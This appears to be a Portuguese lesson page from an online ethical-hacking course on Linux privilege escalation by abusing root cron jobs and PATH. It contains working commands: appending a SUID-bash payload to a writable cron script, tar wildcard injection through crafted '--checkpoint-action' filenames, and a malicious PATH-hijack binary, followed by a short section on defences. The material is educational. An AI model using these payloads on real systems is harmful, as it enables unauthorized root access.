0Pricing
Ethical Hacking Academy · Aula

Tarefas do Cron e PATH

Abuso de tarefas agendadas

Tarefas do Cron e PATH é uma aula grátis de Ethical Hacking Academy no CoddyKit. Esta é a aula 3 de 4. Você pode ler a aula completa abaixo gratuitamente — depois pratica ao vivo no navegador com um editor de código integrado e um tutor de IA 24/7. Faz parte do caminho de aprendizado de Ethical Hacking Academy, e seu progresso é sincronizado entre a web e o app CoddyKit. O curso de Ethical Hacking Academy inclui 4 aulas no total.

Trabalhos do Cron como Vetor

O daemon cron executa tarefas agendadas, frequentemente como root. Se você puder influenciar o que um trabalho do cron executado pelo root executa — seu script, suas entradas ou a forma como resolve os comandos — poderá executar código como root.

Enumerando o Cron

Leia o crontab do sistema e os diretórios do cron. Observe quem executa cada trabalho e quais scripts eles chamam.

cat /etc/crontab
ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly
cat /var/spool/cron/crontabs/* 2>/dev/null

Procurando Trabalhos Ocultos

Alguns trabalhos não aparecem em arquivos óbvios. O pspy monitora a criação de processos sem exigir root, revelando os comandos do cron quando são executados — inclusive aqueles cuja configuração você não pode ler.

./pspy64
# watch for periodic root processes

Scripts do Cron com Permissão de Escrita

O abuso mais simples: uma tarefa do cron executada como root roda um script no qual você pode escrever. Acrescente uma carga útil e aguarde a próxima execução.

ls -la /opt/backup.sh   # -rwxrwxrwx root
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> /opt/backup.sh

Injeção por Curinga

Se uma tarefa do cron executada como root usar um curinga, como tar -czf backup.tar.gz *, em um diretório que você controla, você poderá criar arquivos cujos nomes funcionem como opções de linha de comando (injeção de argumentos), forçando o tar a executar seu comando.

touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "cp /bin/bash /tmp/rb; chmod +s /tmp/rb" > shell.sh

O que é PATH?

PATH é a lista de diretórios que o shell pesquisa em busca de comandos. Quando um script chama um comando apenas pelo nome (por exemplo, backup em vez de /usr/bin/backup), o primeiro arquivo correspondente em PATH é usado.

echo $PATH
# /usr/local/bin:/usr/bin:/bin

Sequestro de PATH

Se um script executado como root chamar um comando sem um caminho absoluto e você puder adicionar um diretório com permissão de escrita ao início de PATH, coloque nesse diretório um binário malicioso com esse nome. O root executará a sua versão.

echo -e "#!/bin/bash\ncp /bin/bash /tmp/rb; chmod +s /tmp/rb" > /tmp/backup
chmod +x /tmp/backup
export PATH=/tmp:$PATH

Caminho Relativo em Binários SUID

A mesma falha aparece em binários SUID personalizados que chamam system("service ...") sem um caminho completo. Sequestrar PATH executa seu código como root — combinando o abuso de PATH com o conceito de SUID.

Explorando um Diretório de PATH com Permissão de Escrita

Mesmo sem alterar PATH, se um diretório já existente em PATH (como /usr/local/bin) permitir escrita e uma tarefa executada como root chamar um comando encontrado nele, basta colocar seu binário nesse diretório.

ls -ld /usr/local/bin   # check for write permission

Sincronizando o Ataque

A escalação baseada no cron exige paciência — você precisa aguardar o agendamento. Observe o intervalo, coloque sua carga útil e verifique o resultado (por exemplo, seu shell SUID) depois que a tarefa for executada.

watch -n 5 ls -la /tmp/rootbash

Defesas e Ética

As pessoas responsáveis pela defesa devem usar caminhos absolutos nos scripts, restringir as permissões dos scripts do cron e de seus diretórios, evitar curingas em caminhos controláveis por invasores e definir um PATH seguro dentro do cron. Teste essas técnicas somente onde tiver autorização.

Verificação Rápida

Teste seus conhecimentos sobre cron/PATH.

Recapitulação

Você aprendeu sobre escalação por cron e PATH:

  • Tarefas do cron executadas como root que chamam scripts com permissão de escrita ou usam curingas podem ser exploradas
  • pspy revela processos agendados ocultos
  • O sequestro de PATH explora comandos chamados sem um caminho absoluto
  • Coloque a carga útil, aguarde o agendamento e obtenha acesso como root

A seguir: explorações do kernel.

Perguntas Frequentes

A aula “Tarefas do Cron e PATH” é grátis?

Sim — o texto completo de “Tarefas do Cron e PATH” é grátis para ler aqui na web. Para praticá-la interativamente (um editor de código integrado e um tutor de IA 24/7) e desbloquear o restante do curso de Ethical Hacking Academy, atualize para CoddyKit PRO. O curso de Ethical Hacking Academy inclui 4 aulas no total.

O que vou aprender em “Tarefas do Cron e PATH”?

Abuso de tarefas agendadas Você pratica Ethical Hacking Academy com código prático que executa diretamente no navegador, e um tutor de IA 24/7 responde suas dúvidas enquanto trabalha na aula.

Preciso ter experiência prévia para começar Ethical Hacking Academy?

Nenhuma experiência prévia é necessária. Ethical Hacking Academy no CoddyKit é estruturado para alunos iniciantes até avançados, então você pode começar aqui ou desde o início e aprender no seu ritmo. Esta é a aula 3 de 4.

Quanto tempo leva a aula “Tarefas do Cron e PATH”?

A maioria das aulas CoddyKit leva cerca de 5–10 minutos. Cada uma é compacta e interativa, então você faz progresso constante e retoma exatamente de onde parou entre web e app.

Posso escrever e executar código nesta aula de Ethical Hacking Academy?

Sim. Cada aula de Ethical Hacking Academy inclui um editor de código integrado, então você escreve e executa código real direto no navegador e recebe feedback de IA instantaneamente — nenhuma configuração local necessária.

Todas as aulas deste curso

  1. Enumeração
  2. Abuso de SUID e Sudo
  3. Tarefas do Cron e PATH
  4. Exploits do kernel
← Voltar para Ethical Hacking Academy